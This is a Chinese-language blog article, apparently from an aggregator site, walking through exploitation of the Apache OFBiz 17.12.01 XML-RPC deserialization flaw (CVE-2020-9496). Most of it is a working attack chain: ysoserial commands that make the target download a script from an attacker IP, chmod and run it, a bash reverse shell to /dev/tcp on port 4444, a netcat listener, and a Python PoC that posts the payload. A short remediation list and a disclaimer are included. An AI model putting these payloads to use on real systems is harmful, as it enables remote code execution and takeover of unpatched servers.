当前位置: 首页 > news >正文

Apache OFBiz 17.12.01 的远程命令执行漏洞 -Java 反序列化 + XML-RPC 请求机制

目录

漏洞原理

🎯 一、漏洞背景(CVE-2020-9496)

⚙️ 二、攻击原理简述

🧱 三、完整攻击流程步骤详解

🔎 1. 信息收集

🛠️ 2. 工具准备

🧪 3. 构造初始 payload:下载恶意脚本

📨 4. 构造 XML-RPC POST 请求

🧪 5. 启动临时 HTTP 服务器

🐚 6. 准备反弹 shell 的脚本 bash.sh

🧨 7. 第二个 payload:修改权限

💥 8. 第三个 payload:执行反弹脚本

📡 9. 启动监听

✅ 四、攻击流程总结图(可选)

🔐 五、安全建议

POC部分

✅ 先决条件(手动准备)

🐍 Python POC 脚本

🧪 使用方法示例

❗ 安全提醒


漏洞原理

对 Apache OFBiz 17.12.01 的远程命令执行漏洞(CVE-2020-9496)的完整利用过程,攻击原理是基于 Java 反序列化 + XML-RPC 请求机制。下面我将逐步分解整个过程,包括漏洞原理、具体步骤、工具使用和攻击链。


🎯 一、漏洞背景(CVE-2020-9496)

Apache OFBiz 是一个基于 Java 的开源企业资源计划软件。其 XML-RPC 接口在处理用户提供的 <serializable> XML 标签时,没有对反序列化对象进行严格校验,导致攻击者可以传入恶意序列化数据,在服务器端反序列化执行任意代码。

该漏洞存在于 /webtools/control/xmlrpc 接口。


⚙️ 二、攻击原理简述

  1. 入口点/webtools/control/xmlrpc 接口接受 XML-RPC 格式的请求。

  2. 利用点:XML 内的 <serializable> 标签支持 Java 对象反序列化。

  3. 漏洞点:OFBiz 未验证反序列化对象的安全性(无黑名单、白名单机制)。

  4. 核心攻击技术:利用 ysoserial 工具构造一个恶意的 Java 序列化对象,包装在 XML 中,并通过 POST 请求发送,造成远程代码执行。


🧱 三、完整攻击流程步骤详解

🔎 1. 信息收集

  • 目标网页登录界面暴露了 OFBiz 的版本:17.12.01

  • 查询得知该版本存在 CVE-2020-9496


🛠️ 2. 工具准备

下载 ysoserial 以生成恶意 Java 反序列化 payload:

git clone https://github.com/frohoff/ysoserial
cd ysoserial
mvn clean package

🧪 3. 构造初始 payload:下载恶意脚本

java -jar ysoserial-master-SNAPSHOT.jar CommonsBeanutils1 "curl 10.10.14.83/bash.sh -o /tmp/bash.sh" | base64 | tr -d "\n"

说明:

  • 使用 CommonsBeanutils1 gadget 生成恶意 Java 对象。

  • 命令通过 curl 下载 payload(bash.sh)到 /tmp/bash.sh

  • 使用 base64 编码后放入 XML-RPC 请求的 <serializable> 部分。


📨 4. 构造 XML-RPC POST 请求

发送如下请求到目标的 /webtools/control/xmlrpc 接口:

POST /webtools/control/xmlrpc HTTP/1.1
Host: your-ip
Content-Type: application/xml
Content-Length: 4093<?xml version="1.0"?>
<methodCall><methodName>ProjectDiscovery</methodName><params><param><value><struct><member><name>test</name><value><serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[base64-payload]</serializable></value></member></struct></value></param></params>
</methodCall>

可以用 curl, Burp Suite, Python requests 等发送。


🧪 5. 启动临时 HTTP 服务器

为了让目标通过 curl 下载文件,攻击者启动一个 HTTP 服务:

python3 -m http.server

🐚 6. 准备反弹 shell 的脚本 bash.sh

#!/bin/bash
bash -i >& /dev/tcp/10.10.14.83/4444 0>&1

🧨 7. 第二个 payload:修改权限

java -jar ysoserial-master-SNAPSHOT.jar CommonsBeanutils1 "chmod 777 /tmp/bash.sh" | base64 | tr -d "\n"

同样发送 XML-RPC 请求让目标服务器执行该 payload,赋予可执行权限。


💥 8. 第三个 payload:执行反弹脚本

java -jar ysoserial-master-SNAPSHOT.jar CommonsBeanutils1 "bash -c /tmp/bash.sh" | base64 | tr -d "\n"

最后一次请求触发反弹 shell。


📡 9. 启动监听

攻击者开启监听等待连接:

nc -lvvp 4444

目标执行脚本后,即可与攻击者建立反弹连接。


✅ 四、攻击流程总结图(可选)

[1] 信息收集↓
[2] ysoserial 构造 payload(curl 下载)↓
[3] POST XML 到 /webtools/control/xmlrpc↓
[4] HTTP 服务器接收到 curl 请求↓
[5] 构造 payload(chmod 脚本)↓
[6] 构造 payload(执行脚本)↓
[7] Netcat 接收到反弹连接

🔐 五、安全建议

  1. 升级 Apache OFBiz 到安全版本(>= 17.12.02)。

  2. 禁用或限制 /webtools/control/xmlrpc 接口的访问。

  3. 使用 Java 反序列化防护机制(如 Apache Commons IO + ObjectInputFilter)。

  4. 内部资产添加身份验证与访问控制。


POC部分

针对 Apache OFBiz CVE-2020-9496利用 PoC(Proof of Concept)脚本,使用 Python 实现自动化发送恶意 XML-RPC 请求。该脚本会:

  1. 使用你手动生成的 base64 payload(通过 ysoserial)

  2. 构造 XML-RPC 请求体

  3. /webtools/control/xmlrpc 发送 POST 请求


✅ 先决条件(手动准备)

  1. 安装 ysoserial,生成 payload,例如:

    java -jar ysoserial.jar CommonsBeanutils1 "id" | base64 | tr -d "\n"
    
  2. 替换脚本中的 BASE64_PAYLOAD 内容为你生成的内容。


🐍 Python POC 脚本

import requests# =============== 配置区域 ================
target_url = "https://127.0.0.1:8443/webtools/control/xmlrpc"  # 修改为你的目标
base64_payload = "<REPLACE_WITH_YOUR_BASE64_PAYLOAD>"          # 替换成你的base64内容
verify_ssl = False  # 关闭 SSL 验证(自签名证书时使用)# =============== 构造 XML-RPC 请求 ================
xml_body = f'''<?xml version="1.0"?>
<methodCall><methodName>ProjectDiscovery</methodName><params><param><value><struct><member><name>test</name><value><serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">{base64_payload}</serializable></value></member></struct></value></param></params>
</methodCall>
'''headers = {"Content-Type": "application/xml","User-Agent": "Mozilla/5.0"
}# =============== 发送请求 ================
print("[*] Sending payload to target...")
response = requests.post(target_url, headers=headers, data=xml_body, verify=verify_ssl)# =============== 输出结果 ================
print(f"[+] Response code: {response.status_code}")
print("[+] Response body:")
print(response.text)

🧪 使用方法示例

假设你想执行 whoami

java -jar ysoserial.jar CommonsBeanutils1 "whoami" | base64 | tr -d "\n"

将生成的 base64 粘贴进脚本中,运行:

python3 exploit_ofbiz_cve2020_9496.py

❗ 安全提醒

该 PoC 仅限于授权测试或靶机环境使用,不得在未授权系统上运行!


相关文章:

  • 深度学习面试八股简略速览
  • 互联网大厂Java求职面试:AI应用集成中的RAG系统优化与向量数据库性能调优实战
  • GDB调试工具详解
  • 异步编程与axios技术
  • [Excel VBA]如何製作買三送一優惠條件的POS結帳介面?
  • [特殊字符] UI-Trans:字节跳动发布的多模态 UI 转换大模型工具,重塑界面智能化未来
  • 基于云的内容中台核心优势是什么?
  • [Linux]如何配置mailutils郵件服務?
  • 云原生安全基石:Linux进程隔离技术详解
  • 基于Python的分布式网络爬虫系统设计与实现
  • 在 UVM验证环境中,统计 AXI协议的Outstanding Transactions
  • TDengine 对接微软 SSRS 报表系统
  • 《分布式年夜》解析
  • 容器与编排入门 - SRE 须知的 Docker 与 Kubernetes 基础
  • 力扣 74.搜索二维矩阵
  • ETL工具:Kettle,DataX,Flume,(Kafka)对比辨析
  • 【Linux】深刻理解OS管理
  • 电路图识图基础知识-回路编号及代号(四)
  • ​​UniBoard:私有化部署,导航笔记文件一站式管理
  • 使用自签名证书签名exe程序
  • 团购的网站扣佣金分录怎么做/磁力吧ciliba
  • 网站建设可行性分析表/免费百度下载
  • 一般的电脑培训班要多少钱/seo中介平台
  • 百度网站链接提交入口/企业自建网站
  • 国外做的好的医疗网站设计/网站维护
  • wordpress大前端2.0/搜索引擎优化网站